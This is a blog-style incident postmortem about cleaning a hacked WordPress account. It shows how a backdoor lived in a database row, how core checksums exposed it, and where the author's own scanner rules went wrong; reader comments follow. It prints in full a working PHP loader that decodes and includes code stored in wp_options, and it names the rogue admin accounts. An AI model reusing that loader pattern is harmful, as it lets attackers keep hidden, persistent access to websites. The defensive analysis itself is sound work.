The backdoor was a database row

I cleaned a compromised hosting account on 5 September and wrote down, with some satisfaction, that it was done. On 11 September I found the rest of it.

The part that bothers me is not that I missed something. It is why I missed it: I had built three scanners, and the thing they were looking for was not in any file.

What a file scanner was asked to find

This is the file that mattered, in full. 420 bytes, sitting where a WordPress core file should be:

<?php

require_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

$encoded = get_option('_codehidden');

if (!empty($encoded)) {
    $code = base64_decode($encoded, true);
    if ($code !== false) {
        $tmp = tmpfile();
        if ($tmp !== false) {
            fwrite($tmp, $code);
            $meta = stream_get_meta_data($tmp);
            include $meta['uri'];
            fclose($tmp);
        }
    }
}

No obfuscation. No eval. No hex-escaped strings, no goto spaghetti, no variable function names. It reads well. Every one of my signature checks looked straight at it and had nothing to say, because there is nothing in it to flag — the malicious part is a row in wp_options, and the file is just the thing that fetches it.

The row held 9,784 bytes of base64. Decoded: 7,338 bytes, whose first line is eval(base64_decode('...')) and whose inner layer reads HTTP_HOST, HTTP_ACCEPT_LANGUAGE and HTTP_REFERER and picks a remote host from a list of ROT13'd domains. A cloaker — the same kind that had been serving a Japanese shopping page to Googlebot from the main site. Stored in the database, so grep -r across 161,762 files finds exactly nothing.

The only authority that worked

The file was one of ~2,000 in a WordPress install, and it looked plausible. What caught it is that WordPress publishes the md5 of every file it ships:

https://api.wordpress.org/core/checksums/1.0/?version=7.1&locale=en_US

That gives a map of path => md5 for the whole core. Three questions fall out of it, and the third is the one that mattered:

foreach ($sums as $path => $md5) {
    if (!is_file("$root/$path"))          { $missing[]  = $path; }   // deleted
    elseif (md5_file("$root/$path") !== $md5) { $modified[] = $path; }   // changed
}
// and the other direction: anything under wp-admin/ or wp-includes/
// that the checksum list has never heard of
foreach ($onDisk as $path) {
    if (!isset($sums[$path])) { $foreign[] = $path; }
}

Across 18 installs on the account: 15 came back clean, and the three that did not told me exactly where to look. The loader showed up as MODIFIED. Three empty .php files in invented directories — wp-includes/blocks/5HJlg/block/wp-utility.php and friends, all chmod 777 — showed up as FOREIGN. Another site was missing 74 core files, which is why it had been answering 500 to every visitor.

This is the difference between a signature and an authority. My signatures encode what I imagine malware looks like. The checksum list encodes what the software is. Only one of those keeps working when the attacker writes something I did not imagine.

Two things I got wrong, out loud

I cleared a file because it was not obfuscated. On 5 September I read the site's wp-login.php, saw no eval, no base64, no hex, and moved on. The checksums flagged it. The diff turned out to be two blank lines and a missing newline — so my conclusion was right, no credential stealer — but my reason was worthless. "It does not look like malware" is not evidence. I only knew the file was clean once something authoritative told me what it should be.

I wrote a scanner rule that was certain and wrong. It flagged images containing PHP, which is a real technique:

if ($isImg && preg_match('~<\?php|<\?=|eval\s*\(~i', $s)) { /* CERTAIN */ }

That reported 277 files, labelled CERTAIN, across ordinary stock photos and one of Advanced Custom Fields' own PNGs. <?= is three bytes. In a 700 KB binary, three particular bytes turn up by chance constantly. Retested with the five-byte <?php alone: zero. Nothing was deleted on that basis, but only because I checked before acting — and I had labelled the rule CERTAIN, which is precisely the label that invites not checking.

What the database knew that the filesystem did not

Once I was reading the database, the rest of the story was there:

lms   patilari       31 Aug 05:53
lms   suxexnob        4 Sep 05:45     1 live session
lms   root_1n84gk9    4 Sep 07:13:21  2 live sessions
lms   jalejsul        8 Sep 09:09
site2 patilari       31 Aug 07:05:04
site2 root            2 Sep 01:25:30

Administrator accounts. root_1n84gk9 was created in the same minute as those 777 files. patilari appears on two unrelated sites, and on the second one a file-manager plugin was installed nine seconds after the account existed. And jalejsul is dated 8 September — three days after I declared the account clean.

That last row is the whole lesson. I had removed their files. They still had a way in, and it was never a file.

What I would take from it

• Prefer an authority to a signature. For WordPress that is the checksums API; for your own code it is a manifest you generated somewhere the attacker cannot reach. A signature list only finds malware that resembles malware you have already seen.
• Grep the datastore too. Anything that can be included can be stored: a row, an object-cache entry, a serialised option, an S3 key. A scanner that only walks a filesystem is auditing half the machine.
• When you label a check CERTAIN, go and verify it once on real data — before you build anything that acts on it automatically. Mine would have deleted 277 innocent photos.
• Clean does not mean cleaned. After an incident, re-verify against something the attacker could not have touched. A baseline taken on a compromised system certifies the compromise.

---

I build Utilorax, a set of free browser-based tools. If you want to check a file against a published hash without installing anything, the MD5 hash generator runs entirely in your browser — the file never leaves your machine.

Comments

[Raknaos]

"It does not look like malware" is not evidence — that line is the whole post in five words. I keep making the adjacent mistake with dependency review: grepping install scripts feels like a check, while the lockfile hash diff is the only thing that tells me whether the artifact I got is the artifact they published. Signature thinking fails the moment an attacker writes something I did not imagine; authority thinking only fails when the upstream reference itself is wrong.

Two things I'd like to know from your writeup. Did you end up hashing the option rows you care about — an allowlist of names plus a digest of the value — and how do you keep that list honest when a plugin legitimately adds rows? And the more painful one: did the 277-image rule survive as a "likely" tier, or did you delete it? A rule that is certain and wrong is worse than no rule at all, because it trains everyone reading the report to skim.

[Hammad Shams Uddin]

Honest answers to both.

No, I did not hash option rows, and your second clause is why: plugins add
and rewrite wp_options constantly, so an allowlist-plus-digest would alarm
every time a cache or transient moved, and I would be back to training
myself to skim. What caught it was one step upstream. A payload in a row is
inert until something reads it, and the reader here was a core file — which
WordPress's published checksums flag the moment it changes. So I hash the
readers, not the rows: core against the official list, and my own code
against git. Rows only get looked at by name once a reader points at them.

The image rule did not become a "likely" tier. I dropped the 3-byte <?=
match entirely and kept only the 5-byte <?php opener as certain — zero
hits across all 277 files. A tier of "probably, but it was wrong 277 out of
277 times" would just have been the same rule with a softer label.